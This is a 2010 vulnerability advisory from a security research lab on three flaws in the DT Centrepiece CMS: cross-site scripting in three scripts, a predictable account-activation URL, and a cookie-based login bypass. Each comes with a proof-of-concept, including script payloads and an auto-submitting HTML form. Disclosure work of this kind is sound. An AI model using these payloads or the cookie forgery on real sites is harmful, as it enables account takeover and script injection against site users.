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Multiple Vulnerabilities in DT Centrepiece

Advisory ID:HTB22519
Product:DT Centrepiece
Vendor:DT Services
Vulnerable Versions:4.5 and probably prior
Tested Version:4.5
Advisory Publication:July 22, 2010 [without technical details]
Vendor Notification:July 22, 2010
Public Disclosure:August 5, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Improper Authentication [CWE-287]
Improper Authentication [CWE-287]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DT Centrepiece which could be exploited to perform cross-site scripting attacks and bypass certain security restrictions.

1) Cross-site scripting (XSS) vulnerabilities in DT Centrepiece
1.1 The vulnerability exists due to input sanitation error in the "searchFor" parameter in search.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/search.asp?searchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C /script%3E
1.2 The vulnerability exists due to input sanitation error in the "c" parameter in login.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/login.asp?c=/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script% 3E
1.3 The vulnerability exists due to input sanitation error in the "user" parameter in register.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form name="main" method="POST" action="http://host/register.asp">
<input type="hidden" name="frmRegisterCheck" value="true">
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="pass" value="">
<input type="hidden" name="confirmPass" value="">
<input type="hidden" name="FirstName" value="">
<input type="hidden" name="LastName" value="">
<input type="hidden" name="EmailAddress" value="">
<input type="hidden" name="Address" value="">
<input type="hidden" name="Country" value="">
<input type="hidden" name="Landline" value="">
<input type="hidden" name="Mobile" value="">
</form>
<script>
document.main.submit();
</script>


2) Security weakness in account activation mechanism in DT Centrepiece
The weakness exists due to application using predictable URL to activate user accounts. A remote attacker can activate arbitrary accounts without receiving email confirmation. Successful exploitation requires knowledge of the username.
Exploitation example:
http://host/activate.asp?p=USERNAME

3) Security bypass vulnerability in DT Centrepiece
The vulnerability exists in the way application uses cookies to automatically authenticate users. A remote attacker can modify the MM_Remember_Username cookie and gain access to the application with privileges of another user.
Exploitation example:
Modify the following cookie:
MM_Remember_Username=USERNAME
where USERNAME is the name of existing account in the application.


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22519 - https://www.htbridge.com/advisory/HTB22519 - Multiple Vulnerabilities in DT Centrepiece
[2] DT Centrepiece - dt.net.nz - DT Centrepiece is a free content management system (CMS) for commercial or personal use.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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